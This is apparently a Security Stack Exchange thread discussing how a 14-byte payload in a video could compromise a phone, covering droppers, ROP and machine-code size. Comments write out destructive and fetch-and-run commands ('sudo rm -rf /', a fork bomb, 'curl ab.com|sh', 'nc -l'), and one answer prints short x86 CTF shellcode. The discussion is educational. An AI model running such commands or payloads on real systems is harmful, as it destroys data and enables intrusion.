80

I was reading this The New York Times (NYT) article about the hack of Jeff Bezos's phone. The article states:

The May 2018 message that contained the innocuous-seeming video file, with a tiny 14-byte chunk of malicious code, came out of the blue

What malicious code could possibly be contained in 14-bytes? That doesn't seem nearly enough space to contain the logic outlined by the NYT article. The article states that shortly after the message was received, the phone began sending large amounts of data.

Peter Mortensen
  • 877
  • 5
  • 10
Stud Sterkel
  • 785
  • 1
  • 4
  • 6
  • 7
    Not really on par with the intended spy-code ... I once found a 18 byte "small" .com executable on one of the computers in our universities pools available to students. Without thinking too much - all brought in disks and so on had to be virus-scanned - I executed that file .. and lo and behold .. it wiped the system drive c: .... was a "neat" surprise for the technicians working there, no real data was lost luckily because those were all on network shares - but reinstalling operating system and applications took half a workday – eagle275 Jan 23 '20 at 10:32
  • 60
    `rm -rf /` is 8 bytes and might be considered malicious in some contexts. – 8bittree Jan 23 '20 at 18:11
  • 37
    @8bittree `sudo rm -rf /\n`is exactly 14 (counting that `\n` as the one-byte Unix/Linux linefeed character, not the DOS/Windows CR+LF combo). – Monty Harder Jan 23 '20 at 18:17
  • 36
    `:(){ :|:& };:\n` also has 14 chars. – Eric Duminil Jan 23 '20 at 19:16
  • 14
    It's a shame that it wasn't 13 bytes... that would have been really... **unlucky**. – Michael Jan 24 '20 at 06:11
  • 3
    @Michael drop the `\n` and it's 13. Also `while(true);`: 12 bytes. `for(;;);`: 8 bytes. – VLAZ Jan 24 '20 at 08:31
  • 1
    @EricDuminil what am I looking at? – Evorlor Jan 24 '20 at 13:40
  • 4
    @VLAZ `while(true);` could be `while(1>0);` to save a byte. ;) – Kevin Cruijssen Jan 24 '20 at 14:03
  • 3
    @KevinCruijssen or `while(1)` in some languages which saves another two. Think of how much more malicious code can we write with that! :D – VLAZ Jan 24 '20 at 14:05
  • 3
    @VLAZ I have a Java background and frequent the Codegolf SE daily, hence [the `true` to `1>0` tip](https://codegolf.stackexchange.com/a/21704/52210). But you're indeed right that loads of languages use `1` as truthy value, like Python or C (and codegolf challenges especially, although both `while(1);` and `for(;;);` would then be a single byte - i.e. `[` in [05AB1E](https://github.com/Adriandmen/05AB1E/wiki/Commands). ;p) – Kevin Cruijssen Jan 24 '20 at 14:09
  • 3
    @Evorlor it's called a fork bomb – Eric Duminil Jan 24 '20 at 14:33
  • 1
    @MontyHarder, on my system, sudo requires a user to type a password. – WGroleau Jan 24 '20 at 17:12
  • 3
    @Evorlor There's an explanation of how Eric Duminil's fork bomb works over on Unix.se: https://unix.stackexchange.com/a/319148/141154 – 8bittree Jan 24 '20 at 17:13
  • 2
    How about: `wget http://` – spuck Jan 24 '20 at 22:21
  • Yes, it fits exactly: 4d 61 6c 69 63 69 6f 75 73 20 43 6f 64 65 – smithkm Jan 25 '20 at 01:08
  • 4
    I once crashed an entire website (by accident) with `while(1);`. The website would execute user-submitted js serverside. The website was down for a week. – Buge Jan 26 '20 at 01:51
  • 1
    @WGroleau On many Linux servers, the user doesn't even have a password, and only authenticates via SSH keys. `sudo` in this case doesn't ask for anything, it just runs. – Buge Jan 26 '20 at 01:54
  • 1
    `curl ab.com|sh` is 14 chars – Lie Ryan Jan 26 '20 at 04:30
  • 3
    Codegolf.SE would be pretty proud of them. – val is still with Monica Jan 26 '20 at 15:33

6 Answers6

100

Yes, it can. It could be just the trigger vulnerability which would load data on specific areas of the movie in memory and execute.

The malicious part can be pretty small, and the payload could be stored elsewhere. After extracting and executing the payload, additional modules can be downloaded, doing way more than the loader.

It's like most malware infections work: a small component, called the "dropper", is executed first and it downloads and executes other modules, until the entire malware is downloaded and executed. Those 14 bytes may very much be a dropper.

In this specific case, those 14 bytes could load parts of the movie on memory, load its address into the register, and jump into it. Examining only the video would not show anything suspicious, as the code would look like video data (or metadata), but the 14 bytes from the loader would stand out.

Soutzikevich
  • 295
  • 1
  • 9
ThoriumBR
  • 50,648
  • 13
  • 127
  • 142
  • Is it possible to download anything using just 14 bytes? I agree with your first paragraph though. – Anders Jan 23 '20 at 09:19
  • 24
    @Anders : it doesn't have to "download" anything in the sense you download something from a website. All it has to do is to point somewhere inside the video file, where there is some larger executable code embedded in metadata or into some slightly noisy-looking [part of the image](https://en.wikipedia.org/wiki/Steganography). – vsz Jan 23 '20 at 10:44
  • 14
    @Anders `wget ti.ny/éř3A`. Actual wget requires the protocol to be included in the URL, `ti.ny` isn't an actual URL minifier, and four bytes is awfully few for a URL ID even with unicode ... but the idea is there... or I could just invoke `nc-l` in four bytes and then let the outside world do the rest. – John Dvorak Jan 23 '20 at 10:56
  • 4
    @JohnDvorak I would not expect a vulnerability in a video player to take bash commands, but rather machine code. But that is perhaps not a sound assumption on my part. – Anders Jan 23 '20 at 11:42
  • 17
    @Anders I resonate with that assumption, but machine code _can_ invoke OS functions. In the olden DOS days this was done via software interrupts, these days it's more likely a funcall. So... 1+4 bytes to invoke the invoke shell OS method, 4 bytes for the string pointer function argument and up to 8 bytes for the shell command itself and one byte for the string terminator? It's a tight fit, but a fit nevertheless. – John Dvorak Jan 23 '20 at 11:48
  • 3
    Take a look at some of the vids on the defcon and blackhat youtube channels. A good number of them are stories of how they managed to parry a half a dozen bytes of stack overflow into a fully blown root of a system. It's truly impressive the level of understanding some of these security experts have and what they can do with a tiny sliver of a vulnerability. – Roger Heathcote Jan 23 '20 at 14:45
  • 11
    Remember that an IPv4 address only requires 4 bytes; you don't need a domain name. – Dancrumb Jan 23 '20 at 22:11
  • Can you elaborate. How can 14 bytes be enough even to point out an address in a file? – d-b Jan 24 '20 at 05:39
  • 1
    I am a bit novice here so I have a question further, I would like to know if image data sits in data segment, how is some data from data segment transferred to code segment and treated as an executable instructions? – Rohan Bhale Jan 24 '20 at 09:17
  • 1
    @d-b - Pointers are generally either 32 (4 bytes) or 64 (8 bytes) in size. 8 bytes can address more memory then every computer in the world put together has. I don't think the video file is that large. – Fake Name Jan 24 '20 at 10:11
  • @RohanBhale It doesn't have to be. The key thing is context. There is nothing "executable" in the usual sense about shell commands, for example. No hardware protection will ever help you against malicious shell commands - the "code" running is still in a code segment; but what that code is doing is still controlled by what is in some data segment somewhere. Remember WMFs? Those actually contained (restricted!) GDI function calls. Back in the day, that was a great way to make a small vector graphics format. At some point, it became a security flaw; you could call arbitrary kernel functions. – Luaan Jan 24 '20 at 12:59
  • 3
    The real code probably works in a fashion similar to the Equation Editor exploit, where the attacker also controls what data *the vulnerable program* loads in memory. All the 14 bytes code has to do is resteers the control flow towards the loaded data. In this case is probably a video frame, or part thereof. It is nothing new, just yet-another-newspaper that want it easy. – Margaret Bloom Jan 24 '20 at 18:33
  • @MargaretBloom that's exact my point! – ThoriumBR Jan 24 '20 at 22:10
  • @Luaan jesus christ, GDI code in a WMF file? really? someone had to be insane. To you have some links on that? // edit actually nevermind, I found something `The vector data stored in WMF files is described as Microsoft Windows Graphics Device Interface (GDI) commands` + `and an array of variable-length records that store the GDI function call information` on http://wvware.sourceforge.net/caolan/ora-wmf.html oh my god. And I bet it's not signed/etc. Somehow tinker with player's symbol/import table and done. – quetzalcoatl Jan 25 '20 at 10:54
  • @FakeName But you need more than a pointer, don't you? Ok, so you have a piece of a video that can be executed for whatever reason. How do you know with only 14 bytes WHERE in memory that video is loaded? It should depend on what the user did in WhatsApp before loading the video, settings the user made in the program and similar. Don't you need some code to look for where the video is loaded? And 14 bytes can't be enough for that, can it? – d-b Jan 29 '20 at 06:49
  • 1
    `Don't you need some code to look for where the video is loaded?` Nope! You can do things like relative addressing, so you basically say "from the address of this data, jump `n` bytes/words/pages/etc.... forward/backward and execute there". Since you know where the data you're executing is, you can use offsets to get to the shellcode somewhere else in the file that's not part of the main exploit. – Fake Name Jan 30 '20 at 05:50
34

It really depends on the programming language and the context into which the code is being injected.

For examples of what can be done in a very small amount of code space, check out the Code Golf Stack Exchange site.

Peter Mortensen
  • 877
  • 5
  • 10
Mike Ounsworth
  • 57,707
  • 21
  • 150
  • 207
  • 3
    Too bad maliciousness is hard to gauge objectively, otherwise this question would be getting cross-posted. – HAEM Jan 23 '20 at 14:34
  • 7
    to be fair many of these answers use golfing languages for which there is most likely no interpreter available on the phone. – findusl Jan 23 '20 at 16:04
  • 10
    @findusl: Some people do golf in x86 machine code, e.g. [Tips for golfing in x86/x64 machine code](//codegolf.stackexchange.com/q/132981). Or less frequently ARM machine code, like this 40-byte Adler-32 in ARM Thumb-2 machine code I posted: [Compute the Adler-32 checksum](//codegolf.stackexchange.com/a/79212). Of course exploits are more usually about getting existing code in a process to do something, so just setting up args to a library function, not injecting new code that implements an algorithm. – Peter Cordes Jan 24 '20 at 00:53
  • @PeterCordes yes they do program in machine code but they usually don't get the shortest answers. I took a look through the current top code golf questions and there are quite a few answers in under 13 bytes but not a single one is in a language that would run on an iPhone without some interpreter. – findusl Jan 24 '20 at 08:02
  • Misstype I meant 14 bytes or less. – findusl Jan 24 '20 at 08:19
  • 5
    @findusl: did you miss the part where I said implementing an algorithm in machine code is usually not what exploits do? Instead just pass args to an existing function. Or in a more likely ROP attack, the payload is mostly return addresses not code at all. (machine-code injection is hard; W^X done right defeats it.) And sure, even x86 machine code isn't usually as small as golfing-language source code, but on some questions it's equal or better. e.g. [GCD](//codegolf.stackexchange.com/q/77270) in 8 bytes for x86, [chroma key in 13](//codegolf.stackexchange.com/a/132757/30206) – Peter Cordes Jan 24 '20 at 08:46
  • @PeterCordes I did not miss it, but that part is correct so I saw no need to comment on it. However golfing in machine code usually doesn't have anything to do with that as both the references you provided show. – findusl Jan 24 '20 at 09:34
23

It can absolutely fit. For example, this CTF challenge solution attacks a binary that executes ~12 bytes. The payload sent is:

0:  54                      push   rsp
1:  5e                      pop    rsi
0000000000000002 <y>:
2:  31 e2                   xor    edx,esp
4:  0f 05                   syscall
6:  eb fa                   jmp    2 <y>

(assumes all registers are zeroed out)

This is only 8 bytes for a complete pwn which gives you code execution, which then leads to a remote shell.

Of course, this is highly targeted, but it serves as an example.

Martin
  • 330
  • 1
  • 3
  • That's x86 machine code, but ARM Thumb2 machine code is also 2 bytes per instruction if you avoid any long instructions. (The push/pop at the start is just a 2-byte way to copy a 64-bit register, vs. `mov rsi, rsp` needing a REX prefix). Thumb2 has 2-byte `mov reg,reg`, I think even for `mov r1, sp` to copy the stack pointer to the 2nd syscall-arg-passing register.) – Peter Cordes Jan 25 '20 at 15:41
14

As I am assuming that the 14 bytes within the video file triggers some memory vulnerability, as Peter Cordes said, those 14 bytes are machine code!

That is a very important fact, as many people answering here is thinking about source code, characters and all. All of that takes ~8 bits / 1 byte per character. So with 14 characters, one possibly cannot do so much.

But those 14 bytes are for sure binary! So, taking into account an ARM CPU, where one instruction is 32 bit width, including arguments, and an IP address is 32 bit. There's plenty of space to put that IP address into memory and perform a syscall.

Luc
  • 31,973
  • 8
  • 71
  • 135
Dark_eye
  • 241
  • 1
  • 4
  • 11
    It's more likely to be Thumb2 code, so 2 bytes per instruction. Especially since there's 14 bytes, not 12 or 16. – patstew Jan 23 '20 at 17:22
  • 14 Bytes might be enough to setup a single Syscall with limited parameters, but you will have to be very sneaky to use that to exfiltrate app data on a mobile. – eckes Jan 23 '20 at 22:16
  • x86 would be even more compact than thumb2 – phuclv Jan 24 '20 at 15:04
10

True code-injection (of executable machine code) is normally pretty well defended against by non-executable stacks, and W^X (write xor exec) page permissions in general.

If we're talking about a buffer overflow, more typical modern payloads are some return addresses for a ROP attack. This isn't code in the traditional sense, just the address of code fragments already present in memory. (Perhaps as the last 2 bytes of a 4 byte instruction, if we're talking about ARM Thumb2 mode, since this was a phone.)

e.g. if you can find code that gets the right data into registers and then returns, you can put the address for that, and then the address of system() in libc, on the stack. So execution reaches system() with a pointer to a string in the right place for it to treat it as the first arg.

That string could be something that happened to be in memory, or it could be the non-code part of the payload.

By the time the information has been diluted this far by tech journalism, it's hard to guess what exactly it's talking about or rule out any possibilities.

Peter Cordes
  • 890
  • 9
  • 12
1

For fourteen (or any number) bytes in a message to be executed would presumably require a bug in the O.S.

But if executed, it could certainly call other code already in the system (the existence or nature of which might also be a bug).

Or, in a JPEG, an embedded preview could contain more code called by the fourteen bytes.

WGroleau
  • 217
  • 1
  • 6